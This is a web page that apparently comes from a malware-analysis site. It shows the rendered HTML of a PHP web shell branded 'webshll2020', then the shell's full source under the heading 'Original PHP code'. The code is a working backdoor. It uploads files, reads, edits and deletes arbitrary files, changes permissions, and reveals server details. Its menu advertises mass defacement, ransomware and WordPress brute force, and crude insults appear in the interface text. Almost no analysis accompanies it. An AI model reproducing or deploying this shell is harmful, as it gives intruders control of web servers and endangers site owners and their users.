<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><a href="?filesrc=/var/www/html/id.php&amp;path=/var/www/html">id.php</a></td>
<td><center>11.089 KB</center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="id.php">
<input type="hidden" name="path" value="/var/www/html/id.php">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div><center><br><font face="Sedgwick Ave Display" color="white" style="text-shadow: 0 0 40px blue, 0 0 15px blue, 0 0 7px blue, 0 0 80px blue; font-weight:bold: blue; font-size:80px"><center><h1><b><font color="#436EEE">�E</font><font color="#436EEE">��</font><font color="#CD3278">��</font><font color="#CD3278">�L</font><font color="#DC143C">webshll</font><font color="#00688B">2020</font><font color="#00688B"></font></b></h1></center></font></center><font face="Sedgwick Ave Display" color="white" style="text-shadow: 0 0 40px blue, 0 0 15px blue, 0 0 7px blue, 0 0 80px blue; font-weight:bold: blue; font-size:80px">

</font></body></html>

Original PHP code

<?php
error_reporting(0);
set_time_limit(0);

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<html>
<head>
	<link href="https://fonts.googleapis.com/css?family=Black+Ops+One" rel="stylesheet">
	<link href="https://fonts.googleapis.com/css?family=Merienda" rel="stylesheet">
	<link href="https://fonts.googleapis.com/css?family=anime+ace" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Sedgwick+Ave+Display" rel="stylesheet">
<style>
body{
font-family: Merienda;
background-color: black;
color: white;
}
#content tr:hover{
background-color: blue;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: yellow;
}
table{
border: 1px #000000;
}
a{
color:white;
font-size: 20px;
text-decoration:none;
}
a:hover{
color:green;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 2px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
h1{
color:lime;
font-size:15px;
}
.squr_table {
    -moz-box-shadow:inset 0px 34px 0px -15px #1a1717;
	-webkit-box-shadow:inset 0px 34px 0px -15px #1a1717;
	box-shadow:inset 0px 34px 0px -15px #1a1717;
	background-color:#000000;
	border:1px solid #ff0000;
	display:inline-block;
	cursor:pointer;
	color:aqua;
	font-size:17x;
	font-weight:bold;
	padding:3px 20px;
	text-decoration:none;
	text-shadow:0px -1px 0px #ff0505;
       }
.squr_table a:hover {
	background-color:#8f1b0b;;
	color: yellow;
	text-decoration: Rajdhani;
       }
</style>
</head>
</head><center><h1><b><font color=#436EEE>�E</font><font color=#436EEE>��</font><font color=#CD3278>��</font><font color=#CD3278>�L</font><font color=#DC143C>webshll</font><font color=#00688B>2020</font><font color=#00688B></font></a></h1></b></center>
</h1></center>
<table width="960" border="1" cellpadding="0" cellspacing="0" align="center">
<tr><td>';
echo "<h1>
your IP    : ".$_SERVER['REMOTE_ADDR']."<br>
IP Server : ".gethostbyname($_SERVER['HTTP_HOST'])."<br>
system.   : ".php_uname()."</h1><br>";
echo '<table width="960" border="1" cellpadding="0" cellspacing="0" align="center">
<tr><td>';
echo "path : ";
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="lime">UPLOAD SUCCESSSSS !!!!</font><br/>';
}else{
echo '<font color="red">UPLOAD FAILEDDDD !!!!!!!</font><br/>';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="white"><br><b>Upload :</font><input type="file" name="file"/>
<input type="submit" value="Upload" /><br><br>
</form>';
echo "</td></tr>";
echo "</table>";
echo "<center><table id='menu' width='960' border='2' cellpadding='3' cellspacing='0'><tr><td>";
echo "<center><a class='squr_table' href='?'>home  </a> 
<a class='squr_table' href=''.$path.'&5qur=mass>mass deface</a>
<a class='squr_table' href=''.$path.'&5qur=mass>mass delete</a>
<a class='squr_table' href=''.$path.'&5qur=mass>zone h notifer</a><br>
<a class='squr_table' href=''.$path.'&5qur=mass>ransomeware</a>
<a class='squr_table' href=''.$path.'&5qur=mass>symlink</a>
<a class='squr_table' href=''.$path.'&5qur=mass>wp bruteforce v.1</a>
<a class='squr_table' href=''.$path.'&5qur=mass>wp bruteforce v.2</a><br>
<a class='squr_table' href=''.$path.'&5qur=mass>ngewe online</a>
<a class='squr_table' href=''.$path.'&5qur=mass>nomer sedot wc</a>
<a class='squr_table' href=''.$path.'&5qur=mass>md5 encript</a>
<a class='squr_table' href=''.$path.'&5qur=mass>md5 decript</a>
<a class='squr_table' href=''.$path.'&5qur=mass>lu kontol tq :v</a><br>
</center>";
echo "</td></tr></table></center>";
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="lime">Change Perm bisa om</font><br/>';
}else{
echo '<font color="red">Change Perm Gagal Om</font><br />';
}
}
echo '<form method="POST"><font face="Sedgwick Ave Display">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="lime">Rename berhasil Om</font><br/>';
}else{
echo '<font color="red">Rename Gagal Om</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST"><font face="Sedgwick Ave Display">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="lime">berhasil om</font><br/>';
}else{
echo '<font color="red">Gagal om servernya kek tai</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="lime">Directory Terhapus om</font><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus om                                                                                                                                                                                                                                                                                           </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="lime">Terhapus om</font><br/>';
}else{
echo '<font color="red">File Gagal Dihapus om</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="960" border="2" cellpadding="3" cellspacing="0" align="center">
<tr class="first">
<td><center><font color="black">N4m3</peller></center></td>
<td><center><font color="black">S1z3</peller></center></td>
<td><center><font color="black">P3rm15ion</peller></center></td>
<td><center><font color="black">4ct1on</peller></center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="aqua">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">RenaMe</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color="aqua">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<center><br/><font face="Sedgwick Ave Display" color="white" style="text-shadow: 0 0 40px blue, 0 0 15px blue, 0 0 7px blue, 0 0 80px blue; font-weight:bold: blue; font-size:80px"></head><center><h1><b><font color=#436EEE>�E</font><font color=#436EEE>��</font><font color=#CD3278>��</font><font color=#CD3278>�L</font><font color=#DC143C>webshll</font><font color=#00688B>2020</font><font color=#00688B></font></a></h1></b></center></center>
</body>
</html>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>